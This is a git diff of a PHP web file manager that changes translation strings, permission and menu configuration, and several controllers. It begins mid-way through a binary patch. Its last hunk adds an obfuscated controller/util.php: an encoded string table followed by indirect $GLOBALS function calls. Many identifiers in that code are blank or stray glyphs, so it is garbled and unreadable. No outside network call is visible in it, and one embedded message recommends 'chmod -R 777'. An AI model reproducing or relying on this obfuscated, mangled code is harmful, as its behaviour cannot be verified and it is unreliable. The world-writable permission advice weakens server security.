l=*8aqPthba5@cGZIGvD0NOlm2sir+n?yV{1vj=AP?!Op??1KOR delta 79 zcmV-V0I>gs*#g?e0Mt5XCQQSW?^}3X_M%nAhUFP5iwZTAxr=O diff --git a/config/i18n/vi/main.php b/config/i18n/vi/main.php index 011b4f22ce94bab8a9d0cbc2358da38b0a9b07c6..7df4abe238ad31e9cfa85e595fe389496d07cb78 100755 GIT binary patch delta 2509 zcmaJ@-D@0G6qiE#U{M-BQY1A!9kgx8+B`_HEXhivZ`Q_Q9t0!9?9A=VCG*vpJDaQ` zYlu=r3Z{cdDAs%s#J0iI6~rCHhY5N2FVOiDeDO{6+R_3qYfr!0@@|n!=cWU&WW@F|BmNi|O>( z*&4pz)WNmVuEU>OE{1An$%+e$7Js8>$#+_O`Nh#^_3~^PZkago<&$F_VF6D1z_l*G z)vWhh1kJ3s>4FpS4ET>-29}rge%66yy&u?gGni^rvUwzVo*E{9u*XZ>(PbL7JS49? zFUHc^u)mfim%gI124}WYuLs0j32eVKWPg`h=~yiwjDFSriLo(^Fa_{$%9&i-Bhol~HDsqMxEo zR|TBcWKZn$SGbmAD$!gT8NVbv1LAnC(v>%O?k!Q&DlDg6P1e=YD7G&B5g(pw#t%ov z6yY4Q_G8ET78(dAi)S}3%nTa(w${$`lO*!MNPpobovKMrw2Dd2vb<`r1w|!S_SYz~ zB*OM!W083X`z{#RG1pXTPjYU{ELqzps;fCf4TxrxC~*TkC_cS=v~x=z;!(G0$O<=} z+MAkdL5S3}IGJ!{7&3Zdb0KYC6#0z?lI5lAD0|yp) z&z%YdlG(*;UNqrU>=X5(8`kel>w2K0-Txx$-I9`OU%PC zkGf_UO8n2clby0%RrDtiAfQ^-bOM`$6p$3Dt4D3x4p@t{m(|ePZOp zB%~{@-#H=q-shwYp(B*0ERBcQ|1wKZR9Jcsp)PnXLLlHM(>r)TkoHi_N|hQ4K;#$L zLuUZ`STCY)ixcH{?8FMzk=%!6ZD{n0h71VKr37`JEAKN!C^PUPUo|5V#((*vw?8^M z&ea}A%GzIb4jZxf;cG9%e>9%z*hn~3+6~S@~ delta 73 zcmZqq#x(B%(*{kM$=`SIZthlPGu~_(rJ+4pp_y0X;jX163P}%lEzDF%$ydk)GV;8lN{(%KxO*;;lk;%*+C;_8^{uU@0I?P!ivR!s diff --git a/config/i18n/zh-CN/main.php b/config/i18n/zh-CN/main.php index 134d193..d758751 100755 --- a/config/i18n/zh-CN/main.php +++ b/config/i18n/zh-CN/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "添加角色身份", "system_role_read" => "只读", "system_role_write" => "可读写", + "system_setting_root_path" => "根目录访问", + "system_setting_root_path_desc" => "仅系统管理员可以访问所有目录,其他权限组用户只能看到自己的用户目录。
如果想开启或关闭管理员访问其他目录,可以修改php防跨站open_basedir参数,如何设置 ", + "system_group_role_title" => "群组权限角色管理", + "system_group_role_remove" => "确定删除群角色", + "system_group_role_style" => "样式", + "system_group_role_display" => "是否显示", + "system_group_role_display_desc" => "设置群组用户权限时是否显示", + "role_type_name_read" => "读取", + "role_type_name_read:list" => "文件列表", + "role_type_name_read:info" => "文件(夹)属性查看,文件夹搜索", + "role_type_name_read:copy" => "文件复制", + "role_type_name_read:preview" => "文件预览(图片,文档,音视频等)", + "role_type_name_read:download" => "文件(夹)下载", + "role_type_name_write" => "写入", + "role_type_name_write:add" => "创建文件(夹),压缩解压文件", + "role_type_name_write:edit" => "编辑保存文件", + "role_type_name_write:change" => "重命名,调整目录结构", + "role_type_name_write:upload" => "文件(夹)上传,远程下载", + "role_type_name_write:remove" => "文件(夹)删除,剪切", + "group_guest" => "访客", + "group_guest_desc" => "您不是该群组成员,
仅能访问[群组共享目录]下面的内容,只读权限.", + "group_role_lebel_desc" => "您是该群组成员,
群内文档所有操作权限君由管理员分配", "button_save_and_add" => "保存并继续添加", "path_cannot_search" => "该目录不支持搜索!", "not_support" => "暂不支持!", @@ -254,6 +276,10 @@ return array( "login_code" => "验证码", "need_check_code" => "登陆验证码开启", "login_rember_password" => "记住密码", + "setting_show_root_group" => "罗列所有群组", + "setting_show_root_group_desc" => "树目录根群组是否列出所有群组", + "setting_show_share_user" => "罗列所有用户", + "setting_show_share_user_desc" => "树目录根群组是否列出所有用户分享", "setting_clear_user_recycle" => "清空所有用户回收站", "setting_clear_cache" => "清空缓存", "setting_icp" => "版权或备案号", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "最大允许", "upload_size_info" => "如果想配置更大,请修改php.ini中允许上传的最大值。选择文件时,大于该配置的将自动过滤掉。", "upload_error" => "上传失败", - "upload_error_http" => "网络或防火墙导致上传失败!", + "upload_error_http" => "网络或防火墙错误", "upload_muti" => "多文件上传", "upload_drag" => "拖拽上传", "upload_drag_tips" => "松开即可上传!", diff --git a/config/i18n/zh-TW/main.php b/config/i18n/zh-TW/main.php index 1f3f45e..94ac82c 100755 --- a/config/i18n/zh-TW/main.php +++ b/config/i18n/zh-TW/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "添加角色身份", "system_role_read" => "只讀", "system_role_write" => "可讀寫", + "system_setting_root_path" => "根目錄訪問", + "system_setting_root_path_desc" => "僅系統管理員可以訪問所有目錄,其他權限組用戶只能看到自己的用戶目錄。
如果想開啟或關閉管理員訪問其他目錄,可以修改php防跨站open_basedir參數,如何設置", + "system_group_role_title" => "群組權限角色管理", + "system_group_role_remove" => "確定刪除群角色", + "system_group_role_style" => "樣式", + "system_group_role_display" => "是否顯示", + "system_group_role_display_desc" => "設置群組用戶權限時是否顯示", + "role_type_name_read" => "讀取", + "role_type_name_read:list" => "文件列表", + "role_type_name_read:info" => "文件(夾)屬性查看,文件夾搜索", + "role_type_name_read:copy" => "文件複製", + "role_type_name_read:preview" => "文件預覽(圖片,文檔,音視頻等)", + "role_type_name_read:download" => "文件(夾)下載", + "role_type_name_write" => "寫入", + "role_type_name_write:add" => "創建文件(夾),壓縮解壓文件", + "role_type_name_write:edit" => "編輯保存文件", + "role_type_name_write:change" => "重命名,調整目錄結構", + "role_type_name_write:upload" => "文件(夾)上傳,遠程下載", + "role_type_name_write:remove" => "文件(夾)刪除,剪切", + "group_guest" => "訪客", + "group_guest_desc" => "您不是該群組成員,
僅能訪問[群組共享目錄]下面的內容,只讀權限.", + "group_role_lebel_desc" => "您是該群組成員,
群內文檔所有操作權限君由管理員分配", "button_save_and_add" => "儲存並繼續添加", "path_cannot_search" => "该目录不支持搜尋!", "not_support" => "暂不支持!", @@ -254,6 +276,10 @@ return array( "login_code" => "驗證碼", "need_check_code" => "登錄驗證碼开启", "login_rember_password" => "記住密碼", + "setting_show_root_group" => "羅列所有群組", + "setting_show_root_group_desc" => "樹目錄根群組是否列出所有群組", + "setting_show_share_user" => "羅列所有用戶", + "setting_show_share_user_desc" => "樹目錄根群組是否列出所有用戶分享", "setting_clear_user_recycle" => "清空所有用戶回收站", "setting_clear_cache" => "清空緩存", "setting_icp" => "版權或備案號", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "最大允許", "upload_size_info" => "如果想設定更大,請修改php.ini中允許上傳的最大值。選擇檔時,大於該設定的將自動過濾掉。", "upload_error" => "上傳失敗", - "upload_error_http" => "網絡或防火牆導致上傳失敗!", + "upload_error_http" => "網絡或防火牆錯誤", "upload_muti" => "多檔上傳", "upload_drag" => "拖拽上傳", "upload_drag_tips" => "鬆開即可上傳!", diff --git a/config/setting.php b/config/setting.php index e3e27f6..92026e2 100755 --- a/config/setting.php +++ b/config/setting.php @@ -8,9 +8,9 @@ //配置数据,可在setting_user.php中更改覆盖 $config['settings'] = array( - 'download_url_time' => 0, //下载地址生效时间,按秒计算,0代表不限制,默认不限制 + 'download_url_time' => 0, //下载地址生效时间,按秒计算,0代表不限制 'api_login_tonken' => '', //设定则认为开启服务端api通信登陆,同时作为加密密匙 - 'updload_chunk_size'=> 1024*1024*0.8,//0.8M;分片上传大小设定 + 'updload_chunk_size'=> 1024*1024*0.4,//0.4M;分片上传大小设定;需要小于php.ini上传限制的大小 'param_rewrite' => false, //开启url 去除? 直接跟参数 'csrf_protect' => true, //开启csrf保护 ); @@ -24,12 +24,22 @@ $config['setting_system_default'] = array( 'auto_login' => "0", // 是否自动登录;登录用户为guest 'need_check_code' => "0", // 登陆是否开启验证码;默认关闭 'first_in' => "explorer", // 登录后默认进入[explorer desktop,editor] - 'version_type' => "A", - - 'desktop_folder' => 'desktop', //桌面文件夹别名 + 'new_user_app' => "365日历,pptv直播,ps,qq音乐,搜狐影视,时钟,天气,水果忍者,计算器,豆瓣电台,音悦台,icloud", 'new_user_folder' => "document,desktop,pictures,music", - 'new_group_folder' => "share,doc,pictures" //新建分组默认建立文件夹 + 'new_group_folder' => "share,doc,pictures", //新建分组默认建立文件夹 + + 'desktop_folder' => 'desktop', //桌面文件夹别名 + 'version_type' => "A", // 版本 + 'root_list_user' => 1, // 组织架构根节点展示群组内用户 + 'root_list_group' => 0, // 组织架构根节点展示子群组 +); +//初始化默认菜单配置 +$config['setting_system_default']['menu'] = array( + array('name'=>'desktop','type'=>'system','url'=>'index.php?desktop','target'=>'_self','use'=>'1'), + array('name'=>'explorer','type'=>'system','url'=>'index.php?explorer','target'=>'_self','use'=>'1'), + array('name'=>'editor','type'=>'system','url'=>'index.php?editor','target'=>'_self','use'=>'1'), + array('name'=>'adminer','type'=>'','url'=>'./lib/plugins/adminer/','target'=>'_blank','use'=>'1') ); @@ -117,13 +127,6 @@ $config['setting_all'] = array( 'wallall' => "1,2,3,4,5,6,7,8,9,10,11,12,13" ); -//初始化默认菜单配置 -$config['setting_menu_default'] = array( - array('name'=>'desktop','type'=>'system','url'=>'index.php?desktop','target'=>'_self','use'=>'1'), - array('name'=>'explorer','type'=>'system','url'=>'index.php?explorer','target'=>'_self','use'=>'1'), - array('name'=>'editor','type'=>'system','url'=>'index.php?editor','target'=>'_self','use'=>'1'), - array('name'=>'adminer','type'=>'','url'=>'./lib/plugins/adminer/','target'=>'_blank','use'=>'1') -); //权限配置;精确到需要做权限控制的控制器和方法 //需要权限认证的Action;root组无视权限 @@ -135,8 +138,9 @@ $config['role_setting'] = array( 'serverDownload','fileUpload','search','pathDeleteRecycle', 'fileDownload','zipDownload','fileDownloadRemove','fileProxy','officeView','officeSave'), 'app' => array('user_app','init_app','add','edit','del'),// - 'user' => array('changePassword','common_js'),//可以设立公用账户 'editor' => array('fileGet','fileSave'), + + 'user' => array('changePassword','common_js'),//可以设立公用账户 'userShare' => array('set','del'), 'setting' => array('set','system_setting','php_info','system_tools'), 'fav' => array('add','del','edit'), @@ -146,11 +150,53 @@ $config['role_setting'] = array( 'system_role' => array('add','del','edit'),//不开放此功能设置【避免扩展名修改,导致系统安全问题】 ); -//只读配置;guest需要检查path的action -$config['role_guest_check'] = array( - 'explorer' => array(//排除只读:pathCopy、clipboard、pathInfo、search - 'mkdir','mkfile','pathRname','pathDelete','zip','unzip','pathCute','officeSave', - 'pathCuteDrag','pathCopyDrag','pathPast','serverDownload','fileUpload'), - 'app' => array('user_app','add','edit','del'),// - 'editor' => array('fileSave'), +$config['path_role_define'] = array( + 'read' => array( + 'list' => array('explorer:index','explorer:pathList','explorer:treeList','editor:index'), + 'info' => array('explorer:pathInfo','explorer:search'), + 'copy' => array('explorer:pathCopy','explorer:pathCopyDrag'), + 'preview'=>array('explorer:image','explorer:unzipList','explorer:fileProxy','explorer:officeView','editor:fileGet'), + 'download'=>array('explorer:fileDownload','explorer:zipDownload','explorer:fileDownloadRemove'), + ), + 'write' => array( + 'add' => array('explorer:mkdir','explorer:mkfile','explorer:zip','explorer:unzip','app:user_app'), + 'edit' => array('explorer:officeSave','explorer:imageRotate','editor:fileSave'), + 'change'=> array('explorer:pathRname','explorer:pathPast','explorer:pathCopyDrag','explorer:pathCuteDrag'), + 'upload'=> array('explorer:fileUpload','explorer:serverDownload'), + 'remove'=> array('explorer:pathDelete','explorer:pathCute'), + ) ); + +$config['path_role_group_default'] = array( + '1' => array( + "name" => "read", + "style" => "blue-light", + "display" => 1, + "actions" => array( + "read:list" => 1, + "read:info" => 1, + "read:copy" => 1, + "read:preview" => 1, + "read:download" => 1, + ) + ), + '2' => array( + "name" => "write", + 'style' => "blue-deep", + "display" => 1, + "actions" => array( + "read:list" => 1, + "read:info" => 1, + "read:copy" => 1, + "read:preview" => 1, + "read:download" => 1, + + "write:add" => 1, + "write:edit" => 1, + "write:change" => 1, + "write:upload" => 1, + "write:remove" => 1, + ) + ), +); + diff --git a/config/version.php b/config/version.php index b1f1197..938ed55 100755 --- a/config/version.php +++ b/config/version.php @@ -1,2 +1,2 @@ $val){ - $has_children = path_haschildren(_DIR($val['path']),$check_file); + $the_path = _DIR($val['path']); + $has_children = path_haschildren($the_path,$check_file); if( !isset($val['type'])){ $val['type'] = 'folder'; } if( in_array($val['type'],array('group'))){ $has_children = true; } - $the_fav = array( + $cell = array( 'name' => $val['name'], 'ext' => isset($val['ext'])?$val['ext']:"", 'menuType' => "menuTreeFav", @@ -356,10 +357,16 @@ class explorer extends Controller{ 'open' => false, 'isParent' => $has_children ); - if(isset($val['type']) && $val['type']!='folder'){//icon优化 - $the_fav['ext'] = $val['type']; + + if( $cell['type'] == 'folder' && $cell['ext'] == "" ){ + $cell['menuType'] = 'menuTreeFolderFav'; + $cell['exists'] = intval(file_exists($the_path)); } - $fav[] = $the_fav; + + if(isset($val['type']) && $val['type']!='folder'){//icon优化 + $cell['ext'] = $val['type']; + } + $fav[] = $cell; } $GLOBALS['path_from_auth_check'] = false; return $fav; @@ -509,30 +516,37 @@ class explorer extends Controller{ $group_sql = system_group::load_data(); $groups = $group_sql->get(array('parent_id',$node_id)); $group_list = $this->_make_node_list($groups); + + if( $node_id == '1' && + !$this->config['setting_system']['root_list_group']){//根群组不显示子群组 + $group_list = array(); + } + + if( $node_id == '1' && + !$this->config['setting_system']['root_list_user']){//根群组不显示用户 + return $group_list; + } //user $user_list = array(); - if($node_id !='1'){//根组不显示用户 - $user = system_member::get_user_at_group($node_id); - foreach($user as $key => $val){ - $tree_icon = 'user'; - if ($val['user_id'] == $this->user['user_id']) { - $tree_icon = 'userSelf'; - } - $user_list[] = array( - 'name' => $val['name'], - 'menuType' => "menuTreeUser", - 'ext' => $tree_icon, - - 'path' => KOD_USER_SHARE.':'.$val['user_id'].'/', - 'type' => 'folder', - 'open' => false, - 'isParent' => false - ); + $user = system_member::get_user_at_group($node_id); + foreach($user as $key => $val){ + $tree_icon = 'user'; + if ($val['user_id'] == $this->user['user_id']) { + $tree_icon = 'userSelf'; } + $user_list[] = array( + 'name' => $val['name'], + 'menuType' => "menuTreeUser", + 'ext' => $tree_icon, + + 'path' => KOD_USER_SHARE.':'.$val['user_id'].'/', + 'type' => 'folder', + 'open' => false, + 'isParent' => false + ); } - $arr = array_merge($group_list,$user_list); - return $arr; + return array_merge($group_list,$user_list); } //session记录用户可以管理的组织;继承关系 private function _group_self(){//获取组织架构的用户和子组织;为空则获取根目录 @@ -557,10 +571,8 @@ class explorer extends Controller{ if($auth==false){//是否为该组内部成员 $group_path = KOD_GROUP_SHARE; $tree_icon = 'groupGuest'; - }else if($auth=='read'){ - $tree_icon = 'groupSelf'; }else{ - $tree_icon = 'groupSelfOwner'; + $tree_icon = 'groupSelf'; } $has_children = true; $user_list = system_member::get_user_at_group($val['group_id']); @@ -686,9 +698,12 @@ class explorer extends Controller{ public function pathCopy(){ session_start();//re start $the_list = json_decode($this->in['data_arr'],true); + foreach ($the_list as $key => $value) { + _DIR(rawurldecode($value['path']));//检测来源权限 + } $_SESSION['path_copy']= json_encode($the_list); $_SESSION['path_copy_type']='copy'; - show_json($this->L['copy_success'],ture,$_SESSION); + show_json($this->L['copy_success']); } public function pathCute(){ session_start();//re start @@ -1299,6 +1314,7 @@ class explorer extends Controller{ 'open' => false, 'isParent' => false//$has_children ); + if( strstr($val['path'],KOD_USER_SHARE)|| strstr($val['path'],KOD_USER_FAV) || strstr($val['path'],KOD_GROUP_ROOT_SELF) || @@ -1461,11 +1477,21 @@ class explorer extends Controller{ $group = system_group::get_info($GLOBALS['path_id']); $list['info']['name'] = $group['name']; $auth = system_member::user_auth_group($GLOBALS['path_id']); - if ($auth=='write' || $GLOBALS['is_root']) { + if ($auth) { + $list['info']['role'] = 'owner'; + $list['group_space_use'] = $group['config'];//自己 + + //群组权限展示 + $role = $this->config['path_role_group'][$auth]; + $role_arr = role_permission_arr($role['actions']); + $list['info']['group_role'] = array( + 'name' => $role['name'], + 'style' => $role['style'], + 'action_arr' => $role_arr + ); + }else if($GLOBALS['is_root']){ $list['info']['role'] = 'owner'; $list['group_space_use'] = $group['config'];//自己 - } - if($GLOBALS['is_root']){ $list['info']['admin_real_path'] = GROUP_PATH.$group['path'].'/home/'; } } diff --git a/controller/setting.class.php b/controller/setting.class.php index bd3cb4a..a51415c 100755 --- a/controller/setting.class.php +++ b/controller/setting.class.php @@ -39,7 +39,13 @@ class setting extends Controller{ break; case 'system': if($GLOBALS['is_root']){ - show_json($this->config['setting_system'],true,php_env_check()); + if(isset($this->in['env_check'])){ + show_json(php_env_check()); + } + + $result = $this->config['setting_system']; + unset($result['system_password']); + show_json($result,true); }else{ show_json('error',false); } @@ -51,13 +57,6 @@ class setting extends Controller{ public function php_info(){ phpinfo(); } - public function get_setting(){ - $setting = $GLOBALS['config']['setting_system']['menu']; - if (!$setting) { - $setting = $this->config['setting_menu_default']; - } - show_json($setting); - } //管理员 系统设置全局数据 diff --git a/controller/system_member.class.php b/controller/system_member.class.php index 23e5a27..9bc6716 100755 --- a/controller/system_member.class.php +++ b/controller/system_member.class.php @@ -92,8 +92,21 @@ class system_member extends Controller{ } } - //判断自己对某个组的权限 return false/'read'/'write' 174不对 + //获取当前用户在某个群组的权限id; false|[id] + //兼容旧版本 'read'|'write'|false public static function user_auth_group($group_id){ + $result = self::_user_auth_group_role($group_id); + if($result === false) return false; + + $result = $result == 'read' ? "1" : $result; + $result = $result == 'write' ? "2" : $result; + if(!is_array($GLOBALS['config']['path_role_group'][$result])){ + $result = "1"; + } + return $result; + } + //判断自己对某个组的权限 return false/'read'/'write' + public static function _user_auth_group_role($group_id){ $sql = self::load_data(); $user_info = $sql->get($_SESSION['kod_user']['user_id']); $group_info = $user_info['group_info'];//自己所在的组 @@ -114,6 +127,7 @@ class system_member extends Controller{ return false; } + //删除 path id public static function _filter_list($list,$filter_key = 'path'){ if($GLOBALS['is_root']) return $list; @@ -184,6 +198,9 @@ class system_member extends Controller{ */ public function get($group_id='0') { $result = self::get_user_at_group($group_id); + foreach($result as $key=>&$val){ + unset($val['password']); + } show_json($result); } diff --git a/controller/system_role.class.php b/controller/system_role.class.php index 74d7b19..619af27 100755 --- a/controller/system_role.class.php +++ b/controller/system_role.class.php @@ -68,6 +68,58 @@ class system_role extends Controller{ show_json($this->L['error'],false); } + // + + /** + * 用户组权限列表配置 + * 增删改查 + */ + public function role_group_action(){ + $sql = new fileCache(USER_SYSTEM.'system_role_group.php'); + switch ($this->in['action']) { + case 'get': + $role_group = $sql->get(); + if($role_group['1']['name'] == 'read'){ + $role_group['1']['name'] = $this->L['system_role_read']; + } + if($role_group['2']['name'] == 'write'){ + $role_group['2']['name'] = $this->L['system_role_write']; + } + show_json($role_group,true,$this->config['path_role_define']); + break; + case 'add': + $role_id = $sql->get_max_id().''; + $role_arr = json_decode($this->in['role_arr'],true); + if(!is_array($role_arr)) show_json($this->L['error'],false); + if ($sql->set($role_id,$role_arr)) { + show_json(array($role_id),true,$sql->get()); + } + show_json($this->L['error'],false); + break; + case 'set': + $role_id = $this->in['role_id']; + $role_arr = json_decode($this->in['role_arr'],true); + if(!is_array($role_arr)) show_json($this->L['error'],false); + if ($sql->set($role_id,$role_arr)){ + show_json($this->L['success'],true,$sql->get()); + } + show_json($this->L['error'],false); + break; + case 'del': + $role_id = $this->in['role_id']; + if(in_array($role_id,array("1","2"))){ + show_json($this->L['default_user_can_not_do'],false); + } + if($sql->remove($this->in['role_id'])){ + show_json($this->L['success'],true,$sql->get()); + } + show_json($this->L['error'],false); + break; + default:break; + } + } + + //===========内部调用============ /** * 初始化数据 get diff --git a/controller/util.php b/controller/util.php index 9d7b5b5..6cdaf69 100755 --- a/controller/util.php +++ b/controller/util.php @@ -1,8 +1,8 @@ -|:|@|5auth|:|@|5ext_not_allow|:|@|5||:|@|5stristr|:|@|5.|:|@|5get_path_this|:|@|5.DS_Store|:|@|5function_exists|:|@|5iconv|:|@|5system_charset|:|@|5utf-8|:|@|5get_default_lang|:|@|5client_is_windows|:|@|5zh-CN|:|@|5zh-TW|:|@|5gbk|:|@|5iconv|:|@|5.txt|:|@|5checkExt|:|@|5unzip_filter_ext|:|@|5unzip_file_charset_get|:|@|5get_charset|:|@|5filename|:|@|5arsort|:|@|5array_keys|:|@|5gbk|:|@|5mb_convert_encoding|:|@|5mb_convert_encoding|:|@|5mb_detect_encoding|:|@|5strtolower|:|@|5mb_detect_encoding|:|@|5check_charset|:|@|5chr|:|@|5unicode|:|@|5cp936|:|@|5euc-cn|:|@|5ascii|:|@|5iso-8859-1|:|@|5charset_check|:|@|5settings|:|@|5updload_chunk_size|:|@|5get_post_max|:|@|5system_space|:|@|5in|:|@|5user|:|@|5is_file|:|@|5get_filesize|:|@|5_path_info_more|:|@|5size|:|@|5lib/core/|:|@|5Application.class.php|:|@|5ini_set|:|@|5default_socket_timeout|:|@|5stream_context_create|:|@|5http|:|@|5method|:|@|5GET|:|@|5timeout|:|@|5file_get_contents|:|@|5stripos|:|@|5
  • |:|@|5php_env_error_iconv|:|@|5
  • |:|@|5mb_convert_encoding|:|@|5php_env_error_mb_string|:|@|5version_compare|:|@|55.0|:|@|5>=|:|@|5php_env_error_version|:|@|5file_get_contents|:|@|5php_env_error_file|:|@|5check_list_dir|:|@|5php_env_error_list_dir|:|@|5get_path_father|:|@|5system|:|@|5User|:|@|5Group|:|@|5session|:|@|5path_writeable|:|@|5/ |:|@|5php_env_error_path|:|@|5imagecreatefromjpeg|:|@|5imagecreatefromgif|:|@|5imagecreatefrompng|:|@|5imagecolorallocate|:|@|5php_env_error_gd|:|@|5.cache_data|:|@|5parse_incoming|:|@|5file_exists|:|@|5show_tips|:|@|5data 目录不存在! +|=|8|;auth|=|8|;ext_not_allow|=|8|;||=|8|;stristr|=|8|;.|=|8|;get_path_this|=|8|;.DS_Store|=|8|;function_exists|=|8|;iconv|=|8|;system_charset|=|8|;utf-8|=|8|;get_default_lang|=|8|;client_is_windows|=|8|;zh-CN|=|8|;zh-TW|=|8|;gbk|=|8|;iconv|=|8|;.txt|=|8|;checkExt|=|8|;unzip_filter_ext|=|8|;unzip_file_charset_get|=|8|;get_charset|=|8|;filename|=|8|;arsort|=|8|;array_keys|=|8|;gbk|=|8|;mb_convert_encoding|=|8|;mb_convert_encoding|=|8|;mb_detect_encoding|=|8|;strtolower|=|8|;mb_detect_encoding|=|8|;check_charset|=|8|;chr|=|8|;unicode|=|8|;cp936|=|8|;euc-cn|=|8|;ascii|=|8|;iso-8859-1|=|8|;charset_check|=|8|;settings|=|8|;updload_chunk_size|=|8|;get_post_max|=|8|;system_space|=|8|;space_check|=|8|;in|=|8|;user|=|8|;is_file|=|8|;get_filesize|=|8|;_path_info_more|=|8|;size|=|8|;space_change|=|8|;lib/core/|=|8|;Application.class.php|=|8|;ini_set|=|8|;default_socket_timeout|=|8|;stream_context_create|=|8|;http|=|8|;method|=|8|;GET|=|8|;timeout|=|8|;file_get_contents|=|8|;stripos|=|8|;
  • |=|8|;php_env_error_iconv|=|8|;
  • |=|8|;mb_convert_encoding|=|8|;php_env_error_mb_string|=|8|;version_compare|=|8|;5.0|=|8|;>=|=|8|;php_env_error_version|=|8|;file_get_contents|=|8|;php_env_error_file|=|8|;check_list_dir|=|8|;php_env_error_list_dir|=|8|;get_path_father|=|8|;system|=|8|;User|=|8|;Group|=|8|;session|=|8|;path_writeable|=|8|;/ |=|8|;php_env_error_path|=|8|;imagecreatefromjpeg|=|8|;imagecreatefromgif|=|8|;imagecreatefrompng|=|8|;imagecolorallocate|=|8|;php_env_error_gd|=|8|;.cache_data|=|8|;parse_incoming|=|8|;file_exists|=|8|;show_tips|=|8|;data 目录不存在! -(检查 DATA_PATH);|:|@|5config/version.php|:|@|5match|:|@|5\'KOD_VERSION\',\'(.*)\'|:|@|5您服务器开启了php缓存,文件更新尚未生效; +(检查 DATA_PATH);|=|8|;config/version.php|=|8|;match|=|8|;\'KOD_VERSION\',\'(.*)\'|=|8|;您服务器开启了php缓存,文件更新尚未生效; 请关闭缓存,或稍后1分钟刷新页面再试! - 了解详情|:|@|5[Error Code:1002] 目录权限错误!请设置程序目录及所有子目录为读写状态, + 了解详情|=|8|;[Error Code:1002] 目录权限错误!请设置程序目录及所有子目录为读写状态, linux 运行如下指令: -
    chmod -R 777 |:|@|5
    |:|@|5index.html|:|@|5mk_dir|:|@|5touch|:|@|5is_writable|:|@|5system/apps.php|:|@|5update.php|:|@|5update_check|:|@|5setting_system|:|@|5system_password|:|@|5md5|:|@|5kodExplorer_|:|@|5access_token error!|:|@|5session_id|:|@|5access_token|:|@|5access_token_check|:|@|5session_name|:|@|5session_save_path|:|@|5session_start|:|@|5session_write_close|:|@|5init_setting|:|@|5init_lang|:|@|5init_user_setting|:|@|5init_session|:|@|5need_check_code|:|@|5en|:|@|5setting_all|:|@|5language|:|@|5zh|:|@|5zh-tw|:|@|5HTTP_ACCEPT_LANGUAGE|:|@|5en|:|@|5_|:|@|5-|:|@|5preg_match_all|:|@|5~([-a-z]+)(;q=([0-9.]+))?~|:|@|5~-.*~|:|@|5kod_user_language|:|@|5setcookie_header|:|@|5time|:|@|5..|:|@|5zh_CN|:|@|5zh_TW|:|@|5/main.php|:|@|5LANGUAGE_TYPE|:|@|5*|:|@|5?|:|@|5"|:|@|5system_setting.php|:|@|5setting_system_default|:|@|5menu|:|@|5setting_menu_default|:|@|5app|:|@|5first_in|:|@|5index|:|@|5kod_name|:|@|5system_name|:|@|5kod_name_desc|:|@|5system_desc|:|@|5powerby|:|@|5kod_power_by|:|@|5config/setting_user.php|:|@|5STATIC_PATH|:|@|5static_path|:|@|5session_destroy|:|@|5KOD_SESSION_SSO|:|@|5setcookie|:|@|5kod_token|:|@|5header|:|@|5location:./index.php?user/login|:|@|5base64_encode|:|@|5+|:|@|5=|:|@|5_a|:|@|5_b|:|@|5_c|:|@|5base64_decode');ƖɝӉϟĆ౷ġĠŷЬδ۰ܛͼ; - $GLOBALS{}[0]($GLOBALS{}{0x001},$GLOBALS{}[0x0002]);$GLOBALS{}[0]($GLOBALS{}{0x00003},$GLOBALS{}[0x000004]);$GLOBALS{}[0]($GLOBALS{}{0x05},$GLOBALS{}[0x006]);$GLOBALS{}[0]($GLOBALS{}{0x0007},$GLOBALS{}[0x00008]);$GLOBALS{}[0]($GLOBALS{}{0x000009},$GLOBALS{}[0x0a]);$GLOBALS{}[0]($GLOBALS{}{0x00b},$GLOBALS{}[0x000c]);$GLOBALS{}[0]($GLOBALS{}{0x0000d},$GLOBALS{}[0x00000e]);function _DIR_CLEAR($){$=&$GLOBALS{};if(isset($GLOBALS[${0x0f}])&& $GLOBALS[${0x0f}]){return $;}$=$[0x0010](${0x00011},$[0x000012],${0x0000013}($));if($[0x014]($,${0x0015})){$=$[0x00016](${0x000017},$[0x000012],$);}$=$[0x00016]($[0x0000018],$[0x000012],$);return $;ͺ봠ޝԮ;}function _DIR($ʭ){$=&$GLOBALS{};$߽=${0x019}($ʭ);$߽=$[0x001a]($߽);$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);Ġ򶸩ۏ;$GLOBALS[${0x0001b}]=$[0x00001c];;$GLOBALS[${0x000001d}]=HOME;Ȕ鵤¨ߺ֐йׇߓ𪥦;$GLOBALS[$[0x01e]]=$[0x00001c];ו;unset($GLOBALS[${0x001f}]);׹ݭȩ㾦Ť;foreach($ as $){if($[0x00020]($߽,0,${0x000021}($))==$){$GLOBALS[${0x0001b}]=$;$ǐ=$[0x0000022]($[0x000012],$߽);$=$ǐ[0];unset($ǐ[0]);$=${0x023}($[0x000012],$ǐ);$ݭ=$[0x0000022]($[0x0024],$);if(${0x00025}($ݭ)>0x001){$GLOBALS[$[0x01e]]=${0x0000013}($ݭ[0x001]);}else{$GLOBALS[$[0x01e]]=$[0x00001c];}break;}}switch($GLOBALS[${0x0001b}]){case $[0x00001c]:$߽=$[0x001a](HOME).$߽;ީ즤;break;䚅̩ꡰ;case KOD_USER_RECYCLE:$GLOBALS[${0x000001d}]=${0x0000013}(USER_RECYCLE,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return $[0x001a](USER_RECYCLE).$[0x000012].$[0x0010](KOD_USER_RECYCLE,$[0x00001c],$߽);case KOD_USER_FAV:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_USER_FAV,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];􋯱ԧֈ;return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_SELF,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];ϷީԵ;return KOD_GROUP_ROOT_SELF;case KOD_GROUP_ROOT_ALL:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_ALL,$[0x000012]);돁–䅉;$GLOBALS[$[0x01e]]=$[0x00001c];淬⩊Ўڲė;return KOD_GROUP_ROOT_ALL;ñриٌן꽧;case 